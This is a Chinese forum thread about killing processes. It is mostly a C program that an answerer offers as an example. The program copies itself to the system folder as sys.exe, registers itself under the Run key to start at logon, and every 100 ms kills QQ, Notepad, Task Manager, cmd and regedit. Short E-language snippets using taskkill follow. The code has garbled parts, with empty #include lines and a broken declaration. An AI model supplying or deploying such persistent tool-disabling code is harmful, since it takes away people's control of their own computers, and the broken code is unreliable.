易语言不会。。。c语言的,我给你个例子吧。
#include
#include
#include
void CALLBACK TimerProc(
HWND hwnd,
UINT uMsg,
UINT idEvent,
DWORD dwTime )
{
PROCESSENTRY32 pe32;
pe32.dwSize=sizeof(pe32);
HANDLE hSnap;
HANDLE hexit;
BOOL btest;
BOOL box=FALSE;
hSnap=::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
BOOL bMore=::Process32First(hSnap,&pe32);
while(bMore)
{
if(strcmp(pe32.szExeFile,"QQ.exe")==0||strcmp(pe32.szExeFile,"NOTEPAD.EXE")==0
||strcmp(pe32.szExeFile,"taskmgr.exe")==0||strcmp(pe32.szExeFile,"cmd.exe")==0
||strcmp(pe32.szExeFile,"regedit.exe")==0)
{
hexit=::OpenProcess(PROCESS_ALL_ACCESS,FALSE,pe32.th32ProcessID);
btest=::TerminateProcess(hexit,0);
box=TRUE;
}
bMore=::Process32Next(hSnap,&pe32);
}
if(box==TRUE)
{
::MessageBox(NULL,"好好学习去!","warning",0);
box=FALSE;
}
::CloseHandle(hSnap);
::CloseHandle(hexit);
}
int main(int argc,char* argv[])
{
DWORD size=MAX_PATH;
HKEY hkey;
char Syspath[MAX_PATH];
char Ownpath[MAX_PATH];
LPSTR lpNewpath;
LPSTR lpCurrentpath;
LPSTR lpRegRunpath="Software\\Microsoft\\Windows\\CurrentVersion\\Run";
long rect;
DWORD Type REG_SZ;
::GetSystemDirectory(Syspath,size);
::GetModuleFileName(NULL,Ownpath,size);
lpNewpath=strcat(Syspath,"\\sys.exe");
lpCurrentpath=Ownpath;
::CopyFile(lpCurrentpath,lpNewpath,FALSE);
rect=::RegOpenKeyEx(HKEY_CURRENT_USER,lpRegRunpath,0,KEY_WRITE,&hkey);
if(rect!=ERROR_SUCCESS)
{
::RegCloseKey(hkey);
return FALSE;
}
rect=::RegSetValueEx(hkey,"sys",NULL,Type,(const unsigned char*)lpNewpath,size);
if(rect!=ERROR_SUCCESS)
{
::RegCloseKey(hkey);
return FALSE;
}
SetTimer(NULL,123,100,TimerProc);
MSG uMsg;
while(::GetMessage(&uMsg,NULL,0,0))
{
::TranslateMessage(&uMsg);
::DispatchMessage(&uMsg);
}
::CloseHandle(hkey);
return 0;
}这是我以前写在空间里面的一段程序,它执行后会自动定时查看进程,当发现有qq ,任务管理器,记事本程序打开时。写不下了。
终止进程 ("XX.exe") 需要应用接口支持库的支持
运行("taskkill /f /im XX.exe",假,)
结束进程()
表示没看懂!